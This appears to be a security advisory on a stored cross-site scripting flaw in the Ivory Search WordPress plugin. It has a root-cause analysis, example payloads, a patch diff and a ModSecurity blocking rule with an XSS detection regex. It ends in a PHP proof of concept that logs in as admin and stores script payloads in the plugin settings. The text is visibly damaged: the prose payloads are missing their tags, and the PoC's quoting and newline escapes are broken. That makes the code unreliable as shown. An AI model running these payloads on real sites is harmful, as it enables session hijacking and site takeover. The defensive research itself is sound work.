Atomic Edge analysis of CVE-2026-11356:
This vulnerability allows authenticated attackers with administrator-level access to inject stored cross-site scripting (XSS) payloads through the ‘menu_title’ and ‘menu_magnifier_color’ settings in the Ivory Search plugin for WordPress, affecting versions up to and including 5.5.15. The issue stems from insufficient input sanitization and output escaping, leading to arbitrary script execution when pages are accessed.
The root cause lies in two distinct code paths. First, in the admin settings field rendering (add-search-to-menu/admin/class-is-settings-fields.php), the plugin used the WordPress settings API without a dedicated sanitization callback for the ‘is_menu_search’ option. Without this callback, the ‘menu_title’ and ‘menu_magnifier_color’ values were stored as-is without validation. Secondly, in the public-facing output (add-search-to-menu/public/class-is-public.php), the ‘menu_title’ value was rendered directly in HTML without escaping (line 222 and 263: `$temp .= $title;` and `$items .= $title;`), and the ‘menu_magnifier_color’ value was injected into inline CSS (line 1199-1201: `echo ‘.is-menu path.search-icon-path { fill: ‘ . $this->opt[‘menu_magnifier_color’] . ‘;}’`) without sanitization or escaping.
Exploitation requires administrator-level credentials (due to the settings page capability requirement). An attacker navigates to the plugin settings page (typically under Settings > Ivory Search). In the appropriate menu search settings fields, they inject a malicious payload. For example, in ‘menu_title’, an attacker could enter `alert(‘XSS’)` or in ‘menu_magnifier_color’, they could inject `#ff0000;}alert(‘XSS’)` to break out of the CSS context. Once saved and rendered on any page containing the search form, the payload executes in the context of the victim’s browser.
The patch introduces two key fixes. In add-search-to-menu/admin/class-is-settings-fields.php, a new sanitization callback function named `is_validate_menu_search` is registered via `add_filter(“sanitize_option_is_menu_search”, array($this, ‘is_validate_menu_search’) )`. This function validates ‘menu_magnifier_color’ using `sanitize_hex_color()` and ‘menu_title’ using `sanitize_text_field()`, reverting to the previously stored value if validation fails. Additionally, in add-search-to-menu/public/class-is-public.php, the output is now escaped: `$temp .= esc_html( $title );` (line 222), `$items .= esc_html( $title );` (line 263), and for the color value: `esc_html( sanitize_hex_color( $this->opt[‘menu_magnifier_color’] ) )` (line 1199-1201). This ensures that even if a malicious value bypasses the input validation, it is safely escaped in output.
Successful exploitation could lead to a range of impacts, including but not limited to: complete disclosure of admin-level cookies and session tokens, enabling session hijacking; modification of other plugin settings or core WordPress settings via administrative actions performed in the victim’s session; creation of new administrator accounts allowing persistent backdoor access; and injection of malicious content or redirects to phishing pages that could compromise other site users. Given the administrator-only prerequisite, the CVSS score of 4.4 reflects a moderate severity, but the actual business risk is elevated due to the potential for complete site compromise.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/add-search-to-menu/add-search-to-menu.php
+++ b/add-search-to-menu/add-search-to-menu.php
@@ -4,7 +4,7 @@
* Plugin Name: Ivory Search
* Plugin URI: https://ivorysearch.com
* Description: The WordPress Search plugin that provides Search Form Customizer, WooCommerce Search, Image Search, Search Shortcode, AJAX Search & Live Search support!
- * Version: 5.5.15
+ * Version: 5.5.16
* Author: Ivory Search
* Author URI: https://ivorysearch.com/
* License: GPL2+
@@ -70,7 +70,7 @@
*/
public function define_constants() {
if ( !defined( 'IS_VERSION' ) ) {
- define( 'IS_VERSION', '5.5.15' );
+ define( 'IS_VERSION', '5.5.16' );
}
if ( !defined( 'IS_PLUGIN_FILE' ) ) {
define( 'IS_PLUGIN_FILE', __FILE__ );
--- a/add-search-to-menu/admin/class-is-settings-fields.php
+++ b/add-search-to-menu/admin/class-is-settings-fields.php
@@ -137,6 +137,7 @@
$allowed_options['ivory_search'][0] = 'is_menu_search';
return $allowed_options;
} );
+ add_filter( "sanitize_option_is_menu_search", array($this, 'is_validate_menu_search') );
} else {
if ( isset( $_POST['is_analytics'] ) ) {
add_filter( $temp_oname, function ( $allowed_options ) {
@@ -344,6 +345,28 @@
}
return $args;
}
+
+ function is_validate_menu_search( $args ) {
+ if ( isset( $args['menu_magnifier_color'] ) && 0 !== strcmp( $args['menu_magnifier_color'], sanitize_hex_color( $args['menu_magnifier_color'] ) ) ) {
+ add_settings_error(
+ 'is_menu_search',
+ 'invalid_is_menu_color',
+ __( 'Invalid Magnifier Icon Color', 'add-search-to-menu' ),
+ 'error'
+ );
+ $args['menu_magnifier_color'] = $this->opt['menu_magnifier_color'];
+ }
+ if ( isset( $args['menu_title'] ) && 0 !== strcmp( $args['menu_title'], sanitize_text_field( $args['menu_title'] ) ) ) {
+ add_settings_error(
+ 'is_menu_search',
+ 'invalid_is_menu_title',
+ __( 'Invalid Menu Title', 'add-search-to-menu' ),
+ 'error'
+ );
+ $args['menu_title'] = $this->opt['menu_title'];
+ }
+ return $args;
+ }
/**
* Displays Search To Menu section description text.
--- a/add-search-to-menu/includes/freemius/includes/class-freemius.php
+++ b/add-search-to-menu/includes/freemius/includes/class-freemius.php
@@ -17653,6 +17653,31 @@
/**
* Install plugin with new user.
*
+ * You can use this method to sync activation with the Freemius WP SDK where the activation happened outside of the regular opt-in flow, for example if you're using an external licensing server with our api:
+ *
+ * https://docs.freemius.com/api/licenses/activate
+ *
+ * In that case you can call this method like following:
+ *
+ * ```
+ *
+ * my_fs()->install_with_new_user(
+ * $result['user_id'],
+ * $result['user_public_key'],
+ * $result['user_secret_key'],
+ * $result['is_marketing_allowed'],
+ * null,
+ * true,
+ * $result['install_id'],
+ * $result['install_public_key'],
+ * $result['install_secret_key'],
+ * false
+ * );
+ *
+ * ```
+ *
+ * Here `$result` represents the object returned by the API endpoint.
+ *
* @author Vova Feldman (@svovaf)
* @since 1.1.7.4
*
@@ -17670,7 +17695,7 @@
*
* @return string If redirect is `false`, returns the next page the user should be redirected to.
*/
- private function install_with_new_user(
+ public function install_with_new_user(
$user_id,
$user_public_key,
$user_secret_key,
--- a/add-search-to-menu/includes/freemius/start.php
+++ b/add-search-to-menu/includes/freemius/start.php
@@ -15,7 +15,7 @@
*
* @var string
*/
- $this_sdk_version = '2.13.1';
+ $this_sdk_version = '2.13.2';
#region SDK Selection Logic --------------------------------------------------------------------
--- a/add-search-to-menu/public/class-is-public.php
+++ b/add-search-to-menu/public/class-is-public.php
@@ -219,7 +219,7 @@
$temp .= '<svg width="20" height="20" class="search-icon" role="img" viewBox="2 9 20 5" focusable="false" aria-label="' . __( "Search", "add-search-to-menu" ) . '">
<path class="search-icon-path" d="M15.5 14h-.79l-.28-.27C15.41 12.59 16 11.11 16 9.5 16 5.91 13.09 3 9.5 3S3 5.91 3 9.5 5.91 16 9.5 16c1.61 0 3.09-.59 4.23-1.57l.27.28v.79l5 4.99L20.49 19l-4.99-5zm-6 0C7.01 14 5 11.99 5 9.5S7.01 5 9.5 5 14 7.01 14 9.5 11.99 14 9.5 14z"></path></svg>';
} else {
- $temp .= $title;
+ $temp .= esc_html( $title );
}
$temp .= '</a>';
}
@@ -260,7 +260,7 @@
$items .= '<svg width="20" height="20" class="search-icon" role="img" viewBox="2 9 20 5" focusable="false" aria-label="' . __( "Search", "add-search-to-menu" ) . '">
<path class="search-icon-path" d="M15.5 14h-.79l-.28-.27C15.41 12.59 16 11.11 16 9.5 16 5.91 13.09 3 9.5 3S3 5.91 3 9.5 5.91 16 9.5 16c1.61 0 3.09-.59 4.23-1.57l.27.28v.79l5 4.99L20.49 19l-4.99-5zm-6 0C7.01 14 5 11.99 5 9.5S7.01 5 9.5 5 14 7.01 14 9.5 11.99 14 9.5 14z"></path></svg>';
} else {
- $items .= $title;
+ $items .= esc_html( $title );
}
$items .= '</a>';
}
@@ -1196,9 +1196,9 @@
function wp_head() {
if ( isset( $this->opt['menu_style'] ) && 'default' !== $this->opt['menu_style'] && isset( $this->opt['menu_magnifier_color'] ) && !empty( $this->opt['menu_magnifier_color'] ) ) {
echo '<style type="text/css" media="screen">';
- echo '.is-menu path.search-icon-path { fill: ' . $this->opt['menu_magnifier_color'] . ';}';
- echo 'body .popup-search-close:after, body .search-close:after { border-color: ' . $this->opt['menu_magnifier_color'] . ';}';
- echo 'body .popup-search-close:before, body .search-close:before { border-color: ' . $this->opt['menu_magnifier_color'] . ';}';
+ echo '.is-menu path.search-icon-path { fill: ' . esc_html( sanitize_hex_color( $this->opt['menu_magnifier_color'] ) ) . ';}';
+ echo 'body .popup-search-close:after, body .search-close:after { border-color: ' . esc_html( sanitize_hex_color( $this->opt['menu_magnifier_color'] ) ) . ';}';
+ echo 'body .popup-search-close:before, body .search-close:before { border-color: ' . esc_html( sanitize_hex_color( $this->opt['menu_magnifier_color'] ) ) . ';}';
echo '</style>';
}
if ( isset( $this->opt['custom_css'] ) && $this->opt['custom_css'] != '' && !preg_match( '#</?\w+#', $this->opt['custom_css'] ) ) {
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-11356
# Virtual patch for Ivory Search stored XSS via menu_title and menu_magnifier_color settings
# Blocks malicious script injections in the admin settings form submission
SecRule REQUEST_METHOD "@streq POST" "id:20261996,phase:2,deny,status:403,chain,msg:'CVE-2026-11356 XSS via Ivory Search admin settings',severity:'CRITICAL',tag:'CVE-2026-11356'"
SecRule REQUEST_URI "@streq /wp-admin/options-general.php" "chain"
SecRule QUERY_STRING "@contains page=ivory-search" "chain"
SecRule ARGS_POST:is_menu_search.menu_title "@rx <script|<img|<svg|<iframe|onerror=|onclick=|alert(|confirm(|prompt(" "t:urlDecode,t:removeNulls,t:compressWhitespace"
SecRule REQUEST_METHOD "@streq POST" "id:20261997,phase:2,deny,status:403,chain,msg:'CVE-2026-11356 XSS via Ivory Search admin settings',severity:'CRITICAL',tag:'CVE-2026-11356'"
SecRule REQUEST_URI "@streq /wp-admin/options-general.php" "chain"
SecRule QUERY_STRING "@contains page=ivory-search" "chain"
SecRule ARGS_POST:is_menu_search.menu_magnifier_color "@rx <script|<img|<svg|<iframe|onerror=|onclick=|alert(|confirm(|prompt(" "t:urlDecode,t:removeNulls,t:compressWhitespace"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-11356 - Ivory Search <= 5.5.15 - Authenticated (Administrator+) Stored Cross-Site Scripting
// Set the target WordPress URL and admin credentials
$target_url = 'http://example.com'; // Change this to the target WordPress URL
$username = 'admin'; // Change this to an admin username
$password = 'password'; // Change this to the admin password
// Initialize cURL session
$ch = curl_init();
// Step 1: Authenticate and get a WordPress nonce
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => 1
);
// Set cURL options for login
curl_setopt_array($ch, array(
CURLOPT_URL => $login_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($login_data),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
CURLOPT_FOLLOWLOCATION => true
));
// Execute login request
$login_response = curl_exec($ch);
// Step 2: Get the settings page nonce for form submission
$settings_url = $target_url . '/wp-admin/options-general.php?page=ivory-search';
curl_setopt_array($ch, array(
CURLOPT_URL => $settings_url,
CURLOPT_POST => false,
CURLOPT_RETURNTRANSFER => true
));
$settings_page = curl_exec($ch);
// Extract the nonce from the settings page
preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $settings_page, $matches);
if (empty($matches[1])) {
die('Error: Could not extract nonce');
}
$nonce = $matches[1];
// Step 3: Submit the malicious settings payload
$update_url = $target_url . '/wp-admin/options-general.php?page=ivory-search';
$payload_data = array(
'_wpnonce' => $nonce,
'option_page' => 'ivory_search',
'action' => 'update',
'is_menu_search' => array(
'menu_title' => '<script>alert('XSS via menu_title');</script>',
'menu_magnifier_color' => '#ff0000;}</style><script>alert('XSS via color');</script><style>'
)
);
curl_setopt_array($ch, array(
CURLOPT_URL => $update_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($payload_data),
CURLOPT_RETURNTRANSFER => true
));
$update_response = curl_exec($ch);
// Check for success indicators
if (strpos($update_response, 'Settings saved') !== false) {
echo "[+] Payloads successfully stored.n";
echo "[+] Vulnerable settings saved.n";
echo "[+] Visit any page with the search form to trigger the XSS.n";
} else {
echo "[-] Failed to store payloads. The plugin may be patched or the form structure differs.n";
}
// Clean up
curl_close($ch);
unlink('/tmp/cookies.txt');
?>